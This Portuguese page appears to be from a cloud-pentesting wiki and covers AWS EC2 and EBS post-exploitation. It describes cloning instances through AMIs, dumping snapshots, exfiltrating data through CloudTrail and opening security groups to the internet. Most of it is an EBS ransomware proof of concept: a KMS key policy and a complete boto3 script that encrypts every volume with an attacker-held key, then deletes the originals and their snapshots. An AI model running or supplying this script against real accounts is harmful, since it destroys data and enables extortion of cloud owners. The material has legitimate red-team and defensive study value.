O espelhamento de tráfego VPC duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.
Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele:
As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar (verifique truques de escalonamento de privilégio EC2). No entanto, outra maneira de verificar o que ela contém é criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela:
# List instancesawsec2describe-images# create a new image for the instance-idawsec2create-image--instance-idi-0438b003d81cd7ec5--name"AWS Audit"--description"Export AMI"--regioneu-west-1# add key to AWSawsec2import-key-pair--key-name"AWS Audit"--public-key-materialfile://~/.ssh/id_rsa.pub--regioneu-west-1# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instanceawsec2describe-instances--instance-idsi-0546910a0c18725a1# If needed : edit groupsawsec2modify-instance-attribute--instance-id"i-0546910a0c18725a1"--groups"sg-6d0d7f01"--regioneu-west-1# be a good guy, clean our instance to avoid any useless costawsec2stop-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1awsec2terminate-instances--instance-id"i-0546910a0c18725a1"--regioneu-west-1
EBS Snapshot dump
Snapshots são backups de volumes, que geralmente conterão informações sensíveis, portanto, verificá-los deve revelar essas informações.
Se você encontrar um volume sem um snapshot, você poderia: Criar um snapshot e realizar as seguintes ações ou apenas montá-lo em uma instância dentro da conta:
Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail.
Open Security Group
Você poderia obter mais acesso a serviços de rede abrindo portas assim:
awsec2authorize-security-group-ingress--group-id<sg-id>--protocoltcp--port80--cidr0.0.0.0/0# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS.
Uma prova de conceito semelhante à demonstração de Ransomware apresentada nas notas de pós-exploração do S3. KMS deveria ser renomeado para RMS (Ransomware Management Service) devido à facilidade com que pode ser usado para criptografar vários serviços da AWS.
Primeiro, a partir de uma conta AWS do 'atacante', crie uma chave gerenciada pelo cliente no KMS. Para este exemplo, deixaremos a AWS gerenciar os dados da chave para mim, mas em um cenário realista, um ator malicioso reteria os dados da chave fora do controle da AWS. Altere a política da chave para permitir que qualquer Principal de conta AWS use a chave. Para esta política de chave, o nome da conta era 'AttackSim' e a regra de política que permite todo o acesso é chamada de 'Outside Encryption'.
A regra de política da chave precisa do seguinte habilitado para permitir a capacidade de usá-la para criptografar um volume EBS:
kms:CreateGrant
kms:Decrypt
kms:DescribeKey
kms:GenerateDataKeyWithoutPlainText
kms:ReEncrypt
Agora com a chave publicamente acessível para uso. Podemos usar uma conta 'vítima' que tenha algumas instâncias EC2 criadas com volumes EBS não criptografados anexados. Os volumes EBS dessa conta 'vítima' são o que estamos visando para criptografia, este ataque está sob a suposição de violação de uma conta AWS de alto privilégio.
Isso resulta em apenas volumes EBS criptografados disponíveis na conta.
Também vale a pena notar, o script parou as instâncias EC2 para desanexar e excluir os volumes EBS originais. Os volumes originais não criptografados agora se foram.
Em seguida, volte para a política de chave na conta 'atacante' e remova a regra de política 'Outside Encryption' da política de chave.
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow access for Key Administrators","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Create*","kms:Describe*","kms:Enable*","kms:List*","kms:Put*","kms:Update*","kms:Revoke*","kms:Disable*","kms:Get*","kms:Delete*","kms:TagResource","kms:UntagResource","kms:ScheduleKeyDeletion","kms:CancelKeyDeletion"],"Resource":"*"},{"Sid":"Allow use of the key","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:Encrypt","kms:Decrypt","kms:ReEncrypt*","kms:GenerateDataKey*","kms:DescribeKey"],"Resource":"*"},{"Sid":"Allow attachment of persistent resources","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::[Your AWS Account Id]:user/AttackSim"},"Action": ["kms:CreateGrant","kms:ListGrants","kms:RevokeGrant"],"Resource":"*","Condition": {"Bool": {"kms:GrantIsForAWSResource":"true"}}}]}
Espere um momento para que a nova política de chave se propague. Em seguida, volte para a conta 'vítima' e tente anexar um dos volumes EBS recém-criptografados. Você verá que pode anexar o volume.
Mas quando você tenta realmente reiniciar a instância EC2 com o volume EBS criptografado, ela simplesmente falha e vai do estado 'pending' de volta para o estado 'stopped' para sempre, já que o volume EBS anexado não pode ser descriptografado usando a chave, pois a política de chave não permite mais.
Este é o script python utilizado. Ele requer credenciais AWS para uma conta 'vítima' e um valor AWS ARN publicamente disponível para a chave a ser usada para criptografia. O script fará cópias criptografadas de TODOS os volumes EBS disponíveis anexados a TODAS as instâncias EC2 na conta AWS alvo, depois parará todas as instâncias EC2, desanexará os volumes EBS originais, os excluirá e, finalmente, excluirá todos os snapshots utilizados durante o processo. Isso deixará apenas volumes EBS criptografados na conta 'vítima' alvo. USE ESTE SCRIPT APENAS EM UM AMBIENTE DE TESTE, ELE É DESTRUTIVO E EXCLUIRÁ TODOS OS VOLUMES EBS ORIGINAIS. Você pode recuperá-los usando a chave KMS utilizada e restaurá-los ao seu estado original via snapshots, mas só quero que você esteja ciente de que este é um PoC de ransomware no final das contas.
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
Semelhante ao exemplo de ransomware S3. Este ataque criará cópias dos volumes EBS anexados usando snapshots, usará a chave publicamente disponível da conta 'atacante' para criptografar os novos volumes EBS, depois desanexará os volumes EBS originais das instâncias EC2 e os excluirá, e finalmente excluirá os snapshots usados para criar os novos volumes EBS criptografados.